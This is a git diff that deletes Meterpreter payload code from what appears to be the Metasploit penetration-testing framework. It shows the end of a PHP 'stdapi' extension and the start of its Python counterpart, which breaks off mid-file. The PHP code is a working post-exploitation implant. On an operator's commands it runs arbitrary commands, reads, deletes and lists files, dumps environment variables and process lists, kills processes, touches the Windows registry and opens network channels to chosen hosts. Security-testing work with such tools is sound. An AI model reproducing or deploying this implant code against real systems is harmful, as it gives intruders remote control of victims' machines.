$path_tlv = packet_get_tlv($req, TLV_TYPE_FILE_PATH); - $env = $path_tlv['value']; - my_print("Request for: '$env'"); - if (!is_windows()) { - # Handle some basic windows-isms when we can - switch ($env) { - case "%COMSPEC%": - $path = "/bin/sh"; - break; - case "%TEMP%": - case "%TMP%": - $path = "/tmp"; - break; - default: - # Don't know what the user meant, just try it as an environment - # variable and hope for the best. - $path = getenv($env); - } - } else { - $path = getenv($env); - if (empty($path) and ($env == "%COMSPEC%")) { - # hope it's in the path - $path = "cmd.exe"; - } - } - my_print("Returning with an answer of: '$path'"); - - if ($path) { - packet_add_tlv($pkt, create_tlv(TLV_TYPE_FILE_PATH, $path)); - return ERROR_SUCCESS; - } - return ERROR_FAILURE; -} -} - -if (!function_exists('stdapi_fs_delete_dir')) { -register_command('stdapi_fs_delete_dir'); -function stdapi_fs_delete_dir($req, &$pkt) { - my_print("doing rmdir"); - $path_tlv = packet_get_tlv($req, TLV_TYPE_DIRECTORY_PATH); - $ret = @rmdir(cononicalize_path($path_tlv['value'])); - return $ret ? ERROR_SUCCESS : ERROR_FAILURE; -} -} - -if (!function_exists('stdapi_fs_mkdir')) { -register_command('stdapi_fs_mkdir'); -function stdapi_fs_mkdir($req, &$pkt) { - my_print("doing mkdir"); - $path_tlv = packet_get_tlv($req, TLV_TYPE_DIRECTORY_PATH); - $ret = @mkdir(cononicalize_path($path_tlv['value'])); - return $ret ? ERROR_SUCCESS : ERROR_FAILURE; -} -} - -# works -if (!function_exists('stdapi_fs_chdir')) { -register_command('stdapi_fs_chdir'); -function stdapi_fs_chdir($req, &$pkt) { - my_print("doing chdir"); - $path_tlv = packet_get_tlv($req, TLV_TYPE_DIRECTORY_PATH); - $ret = @chdir(cononicalize_path($path_tlv['value'])); - return $ret ? ERROR_SUCCESS : ERROR_FAILURE; -} -} - -# works -if (!function_exists('stdapi_fs_delete')) { -register_command('stdapi_fs_delete'); -function stdapi_fs_delete($req, &$pkt) { - my_print("doing delete"); - $path_tlv = packet_get_tlv($req, TLV_TYPE_FILE_NAME); - $ret = @unlink(cononicalize_path($path_tlv['value'])); - return $ret ? ERROR_SUCCESS : ERROR_FAILURE; -} -} - -# works -if (!function_exists('stdapi_fs_getwd')) { -register_command('stdapi_fs_getwd'); -function stdapi_fs_getwd($req, &$pkt) { - my_print("doing pwd"); - packet_add_tlv($pkt, create_tlv(TLV_TYPE_DIRECTORY_PATH, getcwd())); - return ERROR_SUCCESS; -} -} - -# works partially, need to get the path argument to mean the same thing as in -# windows -if (!function_exists('stdapi_fs_ls')) { -register_command('stdapi_fs_ls'); -function stdapi_fs_ls($req, &$pkt) { - my_print("doing ls"); - $path_tlv = packet_get_tlv($req, TLV_TYPE_DIRECTORY_PATH); - $path = cononicalize_path($path_tlv['value']); - $dir_handle = @opendir($path); - - if ($dir_handle) { - while ($file = readdir($dir_handle)) { - if ($file != "." && $file != "..") { - #my_print("Adding file $file"); - packet_add_tlv($pkt, create_tlv(TLV_TYPE_FILE_NAME, $file)); - packet_add_tlv($pkt, create_tlv(TLV_TYPE_FILE_PATH, $path . DIRECTORY_SEPARATOR . $file)); - $st = stat($path . DIRECTORY_SEPARATOR . $file); - $st_buf = ""; - $st_buf .= pack("V", $st['dev']); - $st_buf .= pack("v", $st['ino']); - $st_buf .= pack("v", $st['mode']); - $st_buf .= pack("v", $st['nlink']); - $st_buf .= pack("v", $st['uid']); - $st_buf .= pack("v", $st['gid']); - $st_buf .= pack("v", 0); - $st_buf .= pack("V", $st['rdev']); - $st_buf .= pack("V", $st['size']); - $st_buf .= pack("V", $st['atime']); - $st_buf .= pack("V", $st['mtime']); - $st_buf .= pack("V", $st['ctime']); - $st_buf .= pack("V", $st['blksize']); - $st_buf .= pack("V", $st['blocks']); - packet_add_tlv($pkt, create_tlv(TLV_TYPE_STAT_BUF, $st_buf)); - } - } - closedir($dir_handle); - return ERROR_SUCCESS; - } else { - return ERROR_FAILURE; - } -} -} - -if (!function_exists('stdapi_fs_separator')) { -register_command('stdapi_fs_separator'); -function stdapi_fs_separator($req, &$pkt) { - packet_add_tlv($pkt, create_tlv(TLV_TYPE_STRING, DIRECTORY_SEPARATOR)); - return ERROR_SUCCESS; -} -} - -if (!function_exists('stdapi_fs_stat')) { -register_command('stdapi_fs_stat'); -function stdapi_fs_stat($req, &$pkt) { - my_print("doing stat"); - $path_tlv = packet_get_tlv($req, TLV_TYPE_FILE_PATH); - $path = cononicalize_path($path_tlv['value']); - - $st = stat($path); - if ($st) { - $st_buf = ""; - $st_buf .= pack("V", $st['dev']); - $st_buf .= pack("v", $st['ino']); - $st_buf .= pack("v", $st['mode']); - $st_buf .= pack("v", $st['nlink']); - $st_buf .= pack("v", $st['uid']); - $st_buf .= pack("v", $st['gid']); - $st_buf .= pack("v", 0); - $st_buf .= pack("V", $st['rdev']); - $st_buf .= pack("V", $st['size']); - $st_buf .= pack("V", $st['atime']); - $st_buf .= pack("V", $st['mtime']); - $st_buf .= pack("V", $st['ctime']); - $st_buf .= pack("V", $st['blksize']); - $st_buf .= pack("V", $st['blocks']); - packet_add_tlv($pkt, create_tlv(TLV_TYPE_STAT_BUF, $st_buf)); - return ERROR_SUCCESS; - } else { - return ERROR_FAILURE; - } -} -} - -# works -if (!function_exists('stdapi_fs_delete_file')) { -register_command('stdapi_fs_delete_file'); -function stdapi_fs_delete_file($req, &$pkt) { - my_print("doing delete"); - $path_tlv = packet_get_tlv($req, TLV_TYPE_FILE_PATH); - $path = cononicalize_path($path_tlv['value']); - - if ($path && is_file($path)) { - $worked = @unlink($path); - return ($worked ? ERROR_SUCCESS : ERROR_FAILURE); - } else { - return ERROR_FAILURE; - } -} -} - -if (!function_exists('stdapi_fs_search')) { -register_command('stdapi_fs_search'); -function stdapi_fs_search($req, &$pkt) { - my_print("doing search"); - - $root_tlv = packet_get_tlv($req, TLV_TYPE_SEARCH_ROOT); - $root = cononicalize_path($root_tlv['value']); - $glob_tlv = packet_get_tlv($req, TLV_TYPE_SEARCH_GLOB); - $glob = cononicalize_path($glob_tlv['value']); - $recurse_tlv = packet_get_tlv($req, TLV_TYPE_SEARCH_RECURSE); - $recurse = $recurse_tlv['value']; - - if (!$root) { - $root = '.'; - } - - my_print("glob: $glob, root: $root, recurse: $recurse"); - $flags = GLOB_PATH; - if ($recurse) { - $flags |= GLOB_RECURSE; - } - $files = safe_glob($root ."/". $glob, $flags); - if ($files and is_array($files)) { - dump_array($files); - foreach ($files as $file) { - $file_tlvs = ""; - $s = stat($file); - $p = dirname($file); - $f = basename($file); - $file_tlvs .= tlv_pack(create_tlv(TLV_TYPE_FILE_PATH, $p)); - $file_tlvs .= tlv_pack(create_tlv(TLV_TYPE_FILE_NAME, $f)); - $file_tlvs .= tlv_pack(create_tlv(TLV_TYPE_FILE_SIZE, $s['size'])); - packet_add_tlv($pkt, create_tlv(TLV_TYPE_SEARCH_RESULTS, $file_tlvs)); - } - } - return ERROR_SUCCESS; -} -} - - -if (!function_exists('stdapi_fs_md5')) { -register_command("stdapi_fs_md5"); -function stdapi_fs_md5($req, &$pkt) { - $path_tlv = packet_get_tlv($req, TLV_TYPE_FILE_PATH); - $path = cononicalize_path($path_tlv['value']); - - if (is_callable("md5_file")) { - $md5 = md5_file($path); - } else { - $md5 = md5(file_get_contents($path)); - } - $md5 = pack("H*", $md5); - packet_add_tlv($pkt, create_tlv(TLV_TYPE_FILE_HASH, $md5)); - return ERROR_SUCCESS; -} -} - - -if (!function_exists('stdapi_fs_sha1')) { -register_command("stdapi_fs_sha1"); -function stdapi_fs_sha1($req, &$pkt) { - $path_tlv = packet_get_tlv($req, TLV_TYPE_FILE_PATH); - $path = cononicalize_path($path_tlv['value']); - - if (is_callable("sha1_file")) { - $sha1 = sha1_file($path); - } else { - $sha1 = sha1(file_get_contents($path)); - } - $sha1 = pack("H*", $sha1); - packet_add_tlv($pkt, create_tlv(TLV_TYPE_FILE_HASH, $sha1)); - return ERROR_SUCCESS; -} -} - - -# Sys Config - -# works -if (!function_exists('stdapi_sys_config_getuid')) { -register_command('stdapi_sys_config_getuid'); -function stdapi_sys_config_getuid($req, &$pkt) { - my_print("doing getuid"); - if (is_callable('posix_getuid')) { - $uid = posix_getuid(); - $pwinfo = posix_getpwuid($uid); - $user = $pwinfo['name'] . " ($uid)"; - } else { - # The posix functions aren't available, this is probably windows. Use - # the functions for getting user name and uid based on file ownership - # instead. - $user = get_current_user() . " (" . getmyuid() . ")"; - } - packet_add_tlv($pkt, create_tlv(TLV_TYPE_USER_NAME, $user)); - return ERROR_SUCCESS; -} -} - -if (!function_exists('stdapi_sys_config_getenv')) { -register_command('stdapi_sys_config_getenv'); -function stdapi_sys_config_getenv($req, &$pkt) { - my_print("doing getenv"); - - $variable_tlvs = packet_get_all_tlvs($req, TLV_TYPE_ENV_VARIABLE); - - # If we decide some day to have sys.config.getenv return all env - # vars when given an empty search list, this is one way to do it. - #if (empty($variable_tlvs)) { - # # We don't have a var to look up, return all of 'em - # $variables = array_keys($_SERVER); - #} else { - # $variables = array(); - # foreach ($variable_tlvs as $tlv) { - # array_push($variables, $tlv['value']); - # } - #} - - foreach ($variable_tlvs as $name) { - $canonical_name = str_replace(array("$","%"), "", $name['value']); - $env = getenv($canonical_name); - if ($env !== FALSE) { - $grp = ""; - $grp .= tlv_pack(create_tlv(TLV_TYPE_ENV_VARIABLE, $canonical_name)); - $grp .= tlv_pack(create_tlv(TLV_TYPE_ENV_VALUE, $env)); - packet_add_tlv($pkt, create_tlv(TLV_TYPE_ENV_GROUP, $grp)); - } - } - - return ERROR_SUCCESS; -} -} - - -# Unimplemented becuase it's unimplementable -#if (!function_exists('stdapi_sys_config_rev2self')) { -#register_command('stdapi_sys_config_rev2self'); -#function stdapi_sys_config_rev2self($req, &$pkt) { -# my_print("doing rev2self"); -# return ERROR_FAILURE; -#} -#} - -# works -if (!function_exists('stdapi_sys_config_sysinfo')) { -register_command('stdapi_sys_config_sysinfo'); -function stdapi_sys_config_sysinfo($req, &$pkt) { - my_print("doing sysinfo"); - packet_add_tlv($pkt, create_tlv(TLV_TYPE_COMPUTER_NAME, php_uname("n"))); - packet_add_tlv($pkt, create_tlv(TLV_TYPE_OS_NAME, php_uname())); - return ERROR_SUCCESS; -} -} - -# Global list of processes so we know what to kill when a channel gets closed -$GLOBALS['processes'] = array(); - -if (!function_exists('stdapi_sys_process_execute')) { -register_command('stdapi_sys_process_execute'); -function stdapi_sys_process_execute($req, &$pkt) { - global $channel_process_map, $processes; - - my_print("doing execute"); - $cmd_tlv = packet_get_tlv($req, TLV_TYPE_PROCESS_PATH); - $args_tlv = packet_get_tlv($req, TLV_TYPE_PROCESS_ARGUMENTS); - $flags_tlv = packet_get_tlv($req, TLV_TYPE_PROCESS_FLAGS); - - $cmd = $cmd_tlv['value']; - $args = $args_tlv['value']; - $flags = $flags_tlv['value']; - - # If there was no command specified, well, a user sending an empty command - # deserves failure. - my_print("Cmd: $cmd $args"); - if (0 > strlen($cmd)) { - return ERROR_FAILURE; - } - $real_cmd = $cmd ." ". $args; - - $pipe_desc = array(array('pipe','r'), array('pipe','w')); - if (is_windows()) { - # see http://us2.php.net/manual/en/function.proc-open.php#97012 - array_push($pipe_desc, array('pipe','a')); - } else { - array_push($pipe_desc, array('pipe','w')); - } - - # Now that we've got the command built, run it. If it worked, we'll send - # back a handle identifier. - $handle = proc_open($real_cmd, $pipe_desc, $pipes); - if (!is_resource($handle)) { - return ERROR_FAILURE; - } - - if (is_callable('proc_get_status')) { - $status = proc_get_status($handle); - $pid = $status['pid']; - } else { - $pid = 0; - } - - $proc = array( 'handle' => $handle, 'pipes' => $pipes ); - packet_add_tlv($pkt, create_tlv(TLV_TYPE_PID, $pid)); - packet_add_tlv($pkt, create_tlv(TLV_TYPE_PROCESS_HANDLE, count($processes))); - if ($flags & PROCESS_EXECUTE_FLAG_CHANNELIZED) { - my_print("Channelized"); - # Then the client wants a channel set up to handle this process' stdio, - # register all the necessary junk to make that happen. - foreach ($pipes as $p) { - register_stream($p); - } - #stream_set_blocking($pipes[0], 1); - #stream_set_blocking($pipes[1], 1); - #stream_set_blocking($pipes[2], 1); - - $cid = register_channel($pipes[0], $pipes[1], $pipes[2]); - $channel_process_map[$cid] = $proc; - - $proc['cid'] = $cid; - - packet_add_tlv($pkt, create_tlv(TLV_TYPE_CHANNEL_ID, $cid)); - #} else { - # Otherwise, don't care about stdin/stdout, just run the command - } - - $processes[] = $proc; - - return ERROR_SUCCESS; -} -} - - -if (!function_exists('stdapi_sys_process_close')) { -register_command('stdapi_sys_process_close'); -function stdapi_sys_process_close($req, &$pkt) { - global $processes; - my_print("doing process_close"); - $handle_tlv = packet_get_tlv($req, TLV_TYPE_PROCESS_HANDLE); - if (array_key_exists($handle_tlv['value'], $processes)) { - close_process($processes[$handle_tlv['value']]); - } - - return ERROR_SUCCESS; -} -} - -if (!function_exists('close_process')) { -function close_process($proc) { - if ($proc) { - my_print("Closing process handle {$proc['handle']}"); - # In the case of a channelized process, this will be redundant as the - # channel_close will also try to close all of these handles. There's no - # real harm in that, so go ahead and just always make sure they get - # closed. - foreach ($proc['pipes'] as $f) { - @fclose($f); - } - if (is_callable('proc_get_status')) { - $status = proc_get_status($proc['handle']); - } else { - # fake a running process on php < 4.3 - $status = array('running' => true); - } - - # proc_close blocks waiting for the child to exit, so if it's still - # running, don't take a chance on deadlock and just sigkill it if we - # can. We can't on php < 4.3, so don't do anything. This will leave - # zombie processes, but that's better than deadlock. - if ($status['running'] == false) { - proc_close($proc['handle']); - } else { - if (is_callable('proc_terminate')) { - proc_terminate($proc['handle'], 9); - } - } - if (array_key_exists('cid', $proc) && $channel_process_map[$proc['cid']]) { - unset($channel_process_map[$proc['cid']]); - } - } -} -} - -# Works, but not very portable. There doesn't appear to be a PHP way of -# getting a list of processes, so we just shell out to ps/tasklist.exe. I need -# to decide what options to send to ps for portability and for information -# usefulness. -if (!function_exists('stdapi_sys_process_get_processes')) { -register_command('stdapi_sys_process_get_processes'); -function stdapi_sys_process_get_processes($req, &$pkt) { - my_print("doing get_processes"); - $list = array(); - if (is_windows()) { - # This command produces a line like: - # "tasklist.exe","2264","Console","0","4,556 K","Running","EGYPT-B3E55BF3C\Administrator","0:00:00","OleMainThreadWndName" - $output = my_cmd("tasklist /v /fo csv /nh"); - $lines = explode("\n", trim($output)); - foreach ($lines as $line) { - $line = trim($line); - # - # Ghetto CSV parsing - # - $pieces = preg_split('/","/', $line); - # Strip off the initial quote on the first and last elements - $pieces[0] = substr($pieces[0], 1, strlen($pieces[0])); - $cnt = count($pieces) - 1; - $pieces[$cnt] = substr($pieces[$cnt], 1, strlen($pieces[$cnt])); - - $proc_info = array($pieces[1], $pieces[6], $pieces[0]); - array_push($list, $proc_info); - } - } else { - # This command produces a line like: - # 1553 root /sbin/getty -8 38400 tty1 - $output = my_cmd("ps ax -w -o pid,user,cmd --no-header 2>/dev/null"); - $lines = explode("\n", trim($output)); - foreach ($lines as $line) { - array_push($list, preg_split("/\s+/", trim($line))); - } - } - foreach ($list as $proc) { - $grp = ""; - $grp .= tlv_pack(create_tlv(TLV_TYPE_PID, $proc[0])); - $grp .= tlv_pack(create_tlv(TLV_TYPE_USER_NAME, $proc[1])); - $grp .= tlv_pack(create_tlv(TLV_TYPE_PROCESS_NAME, $proc[2])); - # Strip the pid and the user name off the front; the rest will be the - # full command line - array_shift($proc); - array_shift($proc); - $grp .= tlv_pack(create_tlv(TLV_TYPE_PROCESS_PATH, join($proc, " "))); - packet_add_tlv($pkt, create_tlv(TLV_TYPE_PROCESS_GROUP, $grp)); - } - return ERROR_SUCCESS; -} -} - -# works -if (!function_exists('stdapi_sys_process_getpid')) { -register_command('stdapi_sys_process_getpid'); -function stdapi_sys_process_getpid($req, &$pkt) { - my_print("doing getpid"); - packet_add_tlv($pkt, create_tlv(TLV_TYPE_PID, getmypid())); - return ERROR_SUCCESS; -} -} - -if (!function_exists('stdapi_sys_process_kill')) { -register_command('stdapi_sys_process_kill'); -function stdapi_sys_process_kill($req, &$pkt) { - # The existence of posix_kill is unlikely (it's a php compile-time option - # that isn't enabled by default, but better to try it and avoid shelling - # out when unnecessary. - my_print("doing kill"); - $pid_tlv = packet_get_tlv($req, TLV_TYPE_PID); - $pid = $pid_tlv['value']; - if (is_callable('posix_kill')) { - $ret = posix_kill($pid, 9); - $ret = $ret ? ERROR_SUCCESS : posix_get_last_error(); - if ($ret != ERROR_SUCCESS) { - my_print(posix_strerror($ret)); - } - } else { - $ret = ERROR_FAILURE; - if (is_windows()) { - my_cmd("taskkill /f /pid $pid"); - # Don't know how to check for success yet, so just assume it worked - $ret = ERROR_SUCCESS; - } else { - if ("foo" == my_cmd("kill -9 $pid && echo foo")) { - $ret = ERROR_SUCCESS; - } - } - } - return $ret; -} -} - -if (!function_exists('stdapi_net_socket_tcp_shutdown')) { -register_command('stdapi_net_socket_tcp_shutdown'); -function stdapi_net_socket_tcp_shutdown($req, &$pkt) { - my_print("doing stdapi_net_socket_tcp_shutdown"); - $cid_tlv = packet_get_tlv($req, TLV_TYPE_CHANNEL_ID); - $c = get_channel_by_id($cid_tlv['value']); - - if ($c && $c['type'] == 'socket') { - @socket_shutdown($c[0], $how); - $ret = ERROR_SUCCESS; - } else { - $ret = ERROR_FAILURE; - } - return $ret; -} -} - - - -# -# Registry -# - -if (!function_exists('register_registry_key')) { -$_GLOBALS['registry_handles'] = array(); - -function register_registry_key($key) { - global $registry_handles; - $registry_handles[] = $key; - return count($registry_handles) - 1; -} -} - -if (!function_exists('deregister_registry_key')) { -function deregister_registry_key($id) { - global $registry_handles; - $registry_handles[$id] = null; -} -} - - -if (!function_exists('stdapi_registry_create_key')) { -if (is_windows() and is_callable('reg_open_key')) { - register_command('stdapi_registry_create_key'); -} -function stdapi_registry_create_key($req, &$pkt) { - my_print("doing stdapi_registry_create_key"); - if (is_windows() and is_callable('reg_open_key')) { - $root_tlv = packet_get_tlv($req, TLV_TYPE_ROOT_KEY); - $base_tlv = packet_get_tlv($req, TLV_TYPE_BASE_KEY); - $perm_tlv = packet_get_tlv($req, TLV_TYPE_PERMISSION); - dump_array($root_tlv); - dump_array($base_tlv); - - # For some reason the php constants for registry root keys do not have - # the high bit set and are 1 less than the normal Windows constants, so - # fix it here. - $root = ($root_tlv['value'] & ~0x80000000) + 1; - $base = $base_tlv['value']; - - my_print("reg opening '$root', '$base'"); - $key = reg_open_key($root, $base); - if (!$key) { - my_print("reg open failed: $key"); - return ERROR_FAILURE; - } - $key_id = register_registry_key($key); - - packet_add_tlv($pkt, create_tlv(TLV_TYPE_HKEY, $key_id)); - - return ERROR_SUCCESS; - } else { - return ERROR_FAILURE; - } -} -} - -if (!function_exists('stdapi_registry_close_key')) { -if (is_windows() and is_callable('reg_open_key')) { - register_command('stdapi_registry_close_key'); -} -function stdapi_registry_close_key($req, &$pkt) { - if (is_windows() and is_callable('reg_open_key')) { - global $registry_handles; - my_print("doing stdapi_registry_close_key"); - $key_id_tlv = packet_get_tlv($req, TLV_TYPE_ROOT_KEY); - $key_id = $key_id_tlv['value']; - - reg_close_key($registry_handles[$key_id]); - deregister_registry_key($key_id); - - return ERROR_SUCCESS; - } else { - return ERROR_FAILURE; - } -} -} - -if (!function_exists('stdapi_registry_query_value')) { -if (is_windows() and is_callable('reg_open_key')) { - register_command('stdapi_registry_query_value'); -} -function stdapi_registry_query_value($req, &$pkt) { - if (is_windows() and is_callable('reg_open_key')) { - global $registry_handles; - my_print("doing stdapi_registry_query_value"); - $key_id_tlv = packet_get_tlv($req, TLV_TYPE_HKEY); - $key_id = $key_id_tlv['value']; - $name_tlv = packet_get_tlv($req, TLV_TYPE_VALUE_NAME); - $name = $name_tlv['value']; - - #my_print("Looking up stored key handle $key_id"); - #dump_array($registry_handles, "Reg handles"); - $key = $registry_handles[$key_id]; - if (!$key) { - return ERROR_FAILURE; - } - $data = reg_get_value($key, $name); - my_print("Found data for $key\\$name : $data, ". is_int($data)); - # There doesn't appear to be an API to get the type, all we can do is - # infer based on what the value looks like. =( - if (is_int($data)) { - $type = REG_DWORD; - $data = pack("N", (int)$data); - } else { - $type = REG_SZ; - # The api strips the null for us, so put it back - $data = $data ."\x00"; - } - - packet_add_tlv($pkt, create_tlv(TLV_TYPE_VALUE_DATA, $data)); - packet_add_tlv($pkt, create_tlv(TLV_TYPE_VALUE_TYPE, $type)); - } else { - return ERROR_FAILURE; - } -} -} - -if (!function_exists('stdapi_registry_set_value')) { -if (is_windows() and is_callable('reg_open_key')) { - register_command('stdapi_registry_set_value'); -} -function stdapi_registry_set_value($req, &$pkt) { - if (is_windows() and is_callable('reg_open_key')) { - global $registry_handles; - my_print("doing stdapi_registry_set_value"); - $key_id_tlv = packet_get_tlv($req, TLV_TYPE_ROOT_KEY); - $key_id = $key_id_tlv['value']; - } else { - return ERROR_FAILURE; - } -} -} - - -# END STDAPI - - - -## -# Channel Helper Functions -## - -if (!function_exists('channel_create_stdapi_fs_file')) { -function channel_create_stdapi_fs_file($req, &$pkt) { - $fpath_tlv = packet_get_tlv($req, TLV_TYPE_FILE_PATH); - $mode_tlv = packet_get_tlv($req, TLV_TYPE_FILE_MODE); - #my_print("Opening path {$fpath_tlv['value']} with mode {$mode_tlv['value']}"); - if (!$mode_tlv) { - $mode_tlv = array('value' => 'rb'); - } - $fd = @fopen($fpath_tlv['value'], $mode_tlv['value']); - - if (is_resource($fd)) { - register_stream($fd); - $id = register_channel($fd); - packet_add_tlv($pkt, create_tlv(TLV_TYPE_CHANNEL_ID, $id)); - return ERROR_SUCCESS; - } else { - my_print("Failed to open"); - } - return ERROR_FAILURE; -} -} - - -if (!function_exists('channel_create_stdapi_net_tcp_client')) { -function channel_create_stdapi_net_tcp_client($req, &$pkt) { - my_print("creating tcp client"); - - $peer_host_tlv = packet_get_tlv($req, TLV_TYPE_PEER_HOST); - $peer_port_tlv = packet_get_tlv($req, TLV_TYPE_PEER_PORT); - $local_host_tlv = packet_get_tlv($req, TLV_TYPE_LOCAL_HOST); - $local_port_tlv = packet_get_tlv($req, TLV_TYPE_LOCAL_PORT); - $retries_tlv = packet_get_tlv($req, TLV_TYPE_CONNECT_RETRIES); - if ($retries_tlv['value']) { - $retries = $retries_tlv['value']; - } else { - $retries = 1; - } - - for ($i = 0; $i < $retries; $i++) { - $sock = connect($peer_host_tlv['value'], $peer_port_tlv['value']); - if ($sock) { - break; - } - } - - if (!$sock) { - return ERROR_CONNECTION_ERROR; - } - - # - # If we got here, the connection worked, respond with the new channel ID - # - - $id = register_channel($sock); - packet_add_tlv($pkt, create_tlv(TLV_TYPE_CHANNEL_ID, $id)); - add_reader($sock); - return ERROR_SUCCESS; -} -} - -if (!function_exists('channel_create_stdapi_net_udp_client')) { -function channel_create_stdapi_net_udp_client($req, &$pkt) { - my_print("creating udp client"); - - $peer_host_tlv = packet_get_tlv($req, TLV_TYPE_PEER_HOST); - $peer_port_tlv = packet_get_tlv($req, TLV_TYPE_PEER_PORT); - - # We can't actually do anything with local_host and local_port because PHP - # doesn't let us specify these values in any of the exposed socket API - # functions. - #$local_host_tlv = packet_get_tlv($req, TLV_TYPE_LOCAL_HOST); - #$local_port_tlv = packet_get_tlv($req, TLV_TYPE_LOCAL_PORT); - - $sock = connect($peer_host_tlv['value'], $peer_port_tlv['value'], 'udp'); - my_print("UDP channel on {$sock}"); - - if (!$sock) { - return ERROR_CONNECTION_ERROR; - } - - # - # If we got here, the connection worked, respond with the new channel ID - # - - $id = register_channel($sock); - packet_add_tlv($pkt, create_tlv(TLV_TYPE_CHANNEL_ID, $id)); - add_reader($sock); - return ERROR_SUCCESS; -} -} - - - - diff --git a/data/meterpreter/ext_server_stdapi.py b/data/meterpreter/ext_server_stdapi.py deleted file mode 100644 index 523a89ac51..0000000000 --- a/data/meterpreter/ext_server_stdapi.py +++ /dev/null @@ -1,1583 +0,0 @@ -# vim: tabstop=4 softtabstop=4 shiftwidth=4 noexpandtab -import fnmatch -import getpass -import os -import platform -import shlex -import shutil -import socket -import struct -import subprocess -import sys -import time - -try: - import ctypes - has_ctypes = True - has_windll = hasattr(ctypes, 'windll') -except ImportError: - has_ctypes = False - has_windll = False - -try: - import pty - has_pty = True -except ImportError: - has_pty = False - -try: - import pwd - has_pwd = True -except ImportError: - has_pwd = False - -try: - import SystemConfiguration as osxsc - has_osxsc = True -except ImportError: - has_osxsc = False - -try: - import termios - has_termios = True -except ImportError: - has_termios = False - -try: - import _winreg as winreg - has_winreg = True -except ImportError: - has_winreg = False - -try: - import winreg - has_winreg = True -except ImportError: - has_winreg = (has_winreg or False) - -if sys.version_info[0] < 3: - is_str = lambda obj: issubclass(obj.__class__, str) - is_bytes = lambda obj: issubclass(obj.__class__, str) - bytes = lambda *args: str(*args[:1]) - NULL_BYTE = '\x00' - unicode = lambda x: (x.decode('UTF-8') if isinstance(x, str) else x) -else: - if isinstance(__builtins__, dict): - is_str = lambda obj: issubclass(obj.__class__, __builtins__['str']) - str = lambda x: __builtins__['str'](x, 'UTF-8') - else: - is_str = lambda obj: issubclass(obj.__class__, __builtins__.str) - str = lambda x: __builtins__.str(x, 'UTF-8') - is_bytes = lambda obj: issubclass(obj.__class__, bytes) - NULL_BYTE = bytes('\x00', 'UTF-8') - long = int - unicode = lambda x: (x.decode('UTF-8') if isinstance(x, bytes) else x) - -if has_ctypes: - # - # Windows Structures - # - class SOCKADDR(ctypes.Structure): - _fields_ = [("sa_family", ctypes.c_ushort), - ("sa_data", (ctypes.c_uint8 * 14))] - - class SOCKET_ADDRESS(ctypes.Structure): - _fields_ = [("lpSockaddr", ctypes.POINTER(SOCKADDR)), - ("iSockaddrLength", ctypes.c_int)] - - class IP_ADAPTER_UNICAST_ADDRESS(ctypes.Structure): - _fields_ = [ - ("s", type( - '_s_IP_ADAPTER_UNICAST_ADDRESS', - (ctypes.Structure,), - dict(_fields_ = [ - ("Length", ctypes.c_ulong), - ("Flags", ctypes.c_uint32) - ]) - )), - ("Next", ctypes.c_void_p), - ("Address", SOCKET_ADDRESS), - ("PrefixOrigin", ctypes.c_uint32), - ("SuffixOrigin", ctypes.c_uint32), - ("DadState", ctypes.c_uint32), - ("ValidLifetime", ctypes.c_ulong), - ("PreferredLifetime", ctypes.c_ulong), - ("LeaseLifetime", ctypes.c_ulong), - ("OnLinkPrefixLength", ctypes.c_uint8)] - - class IP_ADAPTER_ADDRESSES(ctypes.Structure): - _fields_ = [ - ("u", type( - '_u_IP_ADAPTER_ADDRESSES', - (ctypes.Union,), - dict(_fields_ = [ - ("Alignment", ctypes.c_ulonglong), - ("s", type( - '_s_IP_ADAPTER_ADDRESSES', - (ctypes.Structure,), - dict(_fields_ = [ - ("Length", ctypes.c_ulong), - ("IfIndex", ctypes.c_uint32) - ]) - )) - ]) - )), - ("Next", ctypes.c_void_p), - ("AdapterName", ctypes.c_char_p), - ("FirstUnicastAddress", ctypes.c_void_p), - ("FirstAnycastAddress", ctypes.c_void_p), - ("FirstMulticastAddress", ctypes.c_void_p), - ("FirstDnsServerAddress", ctypes.c_void_p), - ("DnsSuffix", ctypes.c_wchar_p), - ("Description", ctypes.c_wchar_p), - ("FriendlyName", ctypes.c_wchar_p), - ("PhysicalAddress", (ctypes.c_uint8 * 8)), - ("PhysicalAddressLength", ctypes.c_uint32), - ("Flags", ctypes.c_uint32), - ("Mtu", ctypes.c_uint32), - ("IfType", ctypes.c_uint32), - ("OperStatus", ctypes.c_uint32), - ("Ipv6IfIndex", ctypes.c_uint32), - ("ZoneIndices", (ctypes.c_uint32 * 16)), - ("FirstPrefix", ctypes.c_void_p), - ("TransmitLinkSpeed", ctypes.c_uint64), - ("ReceiveLinkSpeed", ctypes.c_uint64), - ("FirstWinsServerAddress", ctypes.c_void_p), - ("FirstGatewayAddress", ctypes.c_void_p), - ("Ipv4Metric", ctypes.c_ulong), - ("Ipv6Metric", ctypes.c_ulong), - ("Luid", ctypes.c_uint64), - ("Dhcpv4Server", SOCKET_ADDRESS), - ("CompartmentId", ctypes.c_uint32), - ("NetworkGuid", (ctypes.c_uint8 * 16)), - ("ConnectionType", ctypes.c_uint32), - ("TunnelType", ctypes.c_uint32), - ("Dhcpv6Server", SOCKET_ADDRESS), - ("Dhcpv6ClientDuid", (ctypes.c_uint8 * 130)), - ("Dhcpv6ClientDuidLength", ctypes.c_ulong), - ("Dhcpv6Iaid", ctypes.c_ulong), - ("FirstDnsSuffix", ctypes.c_void_p)] - - class MIB_IFROW(ctypes.Structure): - _fields_ = [("wszName", (ctypes.c_wchar * 256)), - ("dwIndex", ctypes.c_uint32), - ("dwType", ctypes.c_uint32), - ("dwMtu", ctypes.c_uint32), - ("dwSpeed", ctypes.c_uint32), - ("dwPhysAddrLen", ctypes.c_uint32), - ("bPhysAddr", (ctypes.c_uint8 * 8)), - ("dwAdminStatus", ctypes.c_uint32), - ("dwOperStaus", ctypes.c_uint32), - ("dwLastChange", ctypes.c_uint32), - ("dwInOctets", ctypes.c_uint32), - ("dwInUcastPkts", ctypes.c_uint32), - ("dwInNUcastPkts", ctypes.c_uint32), - ("dwInDiscards", ctypes.c_uint32), - ("dwInErrors", ctypes.c_uint32), - ("dwInUnknownProtos", ctypes.c_uint32), - ("dwOutOctets", ctypes.c_uint32), - ("dwOutUcastPkts", ctypes.c_uint32), - ("dwOutNUcastPkts", ctypes.c_uint32), - ("dwOutDiscards", ctypes.c_uint32), - ("dwOutErrors", ctypes.c_uint32), - ("dwOutQLen", ctypes.c_uint32), - ("dwDescrLen", ctypes.c_uint32), - ("bDescr", (ctypes.c_char * 256))] - - class MIB_IPADDRROW(ctypes.Structure): - _fields_ = [("dwAddr", ctypes.c_uint32), - ("dwIndex", ctypes.c_uint32), - ("dwMask", 